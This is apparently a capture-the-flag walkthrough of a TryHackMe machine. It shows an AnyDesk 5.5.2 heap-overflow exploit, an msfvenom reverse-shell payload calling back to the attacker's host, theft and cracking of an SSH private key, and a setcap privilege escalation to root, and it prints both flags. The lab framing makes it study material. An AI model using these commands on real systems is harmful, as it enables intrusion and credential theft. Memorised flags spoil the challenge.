Overview#

1. Reconnaissance#

An initial service scan was performed with Nmap:

1
nmap -sV -sC -sS 10.48.181.10

Results:

The certificate returned on port 7070 identified the service as an AnyDesk Client, which is not a standard exposed service and warranted further investigation.

2. Vulnerability Research#

A search for known AnyDesk vulnerabilities pointed to a documented remote code execution issue affecting the client. Reference: lisandre.com — AnyDesk cheat sheet.

Confirmed via searchsploit:

1
searchsploit anydesk

The relevant exploit module was retrieved:

1
searchsploit -m linux/remote/49613.py

This corresponds to CVE-2020-13160 — an AnyDesk 5.5.2 remote heap overflow leading to code execution.

3. Exploitation#

1
msfvenom -p linux/x64/shell_reverse_tcp LHOST=$KALI_IP LPORT=4444 \
2
  -b "\x00\x25\x26" -f python -v shellcode

1
rlwrap nc -lvnp 4444

1
python2 49613.py

4. Initial Access — Flag Capture#

1
ls
2
cat user.txt

1
THM{N0t_Ju5t_ANY_D3sk}

5. Lateral Movement — SSH Key Extraction#

The user’s private SSH key was located and exfiltrated:

1
cd .ssh
2
cat id_rsa

The key contents were copied locally and saved as id_rsa, with permissions corrected:

1
chmod 600 id_rsa

1
ssh2john id_rsa > hash.txt
2
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

1
annie123    (id_rsa)

1
ssh -i id_rsa annie@10.48.181.10

6. Privilege Escalation#

An enumeration for SUID binaries and capabilities revealed a misconfiguration:

1
annie@desktop:~$ find / -perm -4000 -type f 2>/dev/null
2
/sbin/setcap

Rather than a standard SUID binary, the box exposed the ability to abuse setcap directly. A local copy of the Python 3 interpreter was created and granted the cap_setuid capability:

1
cp /usr/bin/python3 .
2
setcap cap_setuid+ep /home/annie/python3

This capability allows the binary to call setuid(0) regardless of the invoking user, granting a root shell:

1
./python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

Root access confirmed.

7. Root Flag#

1
cat /root/root.txt

1
THM{0nly_th3m_5.5.2_D3sk}

Summary#